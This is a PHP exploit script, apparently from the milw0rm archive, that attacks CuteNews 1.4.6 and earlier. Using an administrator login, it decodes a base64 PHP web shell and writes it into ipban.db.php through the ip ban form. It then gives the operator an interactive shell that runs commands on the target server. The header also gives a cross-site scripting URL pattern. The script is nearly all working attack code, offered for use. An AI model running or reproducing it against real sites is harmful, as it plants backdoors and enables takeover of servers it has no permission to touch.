CuteNews 1.4.6 - 'ip ban' Authorized Cross-Site Scripting / Command Execution

#!/usr/bin/php -q
<?php

/*********************************************************************
 * CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit *
 * by athos - staker[at]hotmail[dot]it                               *
 * http://cutephp.com                                                *
 *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
 * Remote Command Execution                                          *
 *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
 * you need a super account (administrator)                          *
 * so you can write in ipban.db.php anything ;)                      *
 *                                                                   *
 * works regardless of php.ini settings! enjoy your ais              *
 * note: this vuln is a privilege escalation                         *
 *                                                                   *
 *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
 * Cross Site Scripting                                              *
 *-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
 * http://[host]/[path]//index.php?mod=[Javascript Code]             *
 *********************************************************************/

error_reporting(0);

list($cli,$host,$path,$username,$password) = $argv;

if ($argc != 5) {

    print "\n+-------------------------------------------------------------+\n";
    print "\r| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |\n";
    print "\r+-------------------------------------------------------------+\n";
    print "\rby athos - staker[at]hotmail[dot]it / http://cutephp.com\n\n";
    print "\rUsage: php xpl.php [host] [path] [username] [password]\n\n";
    print "\rhost     + localhost\n";
    print "\rpath     + /cutenews\n";
    print "\rusername + admin username\n";
    print "\rpassword + admin password\n\n";
    exit;
}

exploit();

function login () {

    global $username,$password;

    $cookies .= "username={$username}; md5_password=";
    $cookies .= md5($password);

    return $cookies;
}


function check_login() {

    global $host,$path;

    $auth .= login();

    $data .= "GET /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Cookie: $auth;\n";
    $data .= "Connection: close\r\n\r\n";

    if (preg_match('/Welcome/i',$data)) {
        return true;
    }
    else {
        die("Login Failed\n");
    }
}


function exploit() {

    global $host,$path;

    $login  = login();
    $shell = "PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg==";

    $shell = base64_decode($shell);
    $post  = "add_ip={$shell}&action=add&mod=ipban";

    $data .= "POST /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Cookie: $login\r\n";
    $data .= "Referer: http://{$host}/{$path}/index.php\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($post)."\r\n\r\n";
    $data .= "{$post}\r\n\r\n";

    if (eregi('passthru',data_send($host,$data))) {
        yeat_shell();
    }
    else {
        die("Exploit Failed!\n");
    }
}


function yeat_shell() {

    while (1) {
        echo "yeat[shell]~$: ";
        $exec = stripslashes(trim(fgets(STDIN)));

        if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
        if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
        if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");

        print data_exec($exec);
    }
}


function data_exec($exec) {

    global $host,$path;

    $exec = urlencode($exec);
    $data .= "GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Connection: close\r\n\r\n";

    $html = data_send ($host,$data);
    $html = str_replace('|0||',null,$html);
    return $html;
}


function data_send ($host,$data) {

    if (!$sock = @fsockopen($host,80)) {
        die("Connection refused,try again!\n");
    }   fputs($sock,$data);

    while (!feof($sock)) { $html .= fgets($sock); }

    fclose($sock);
    return $html;
}

# milw0rm.com [2009-01-08]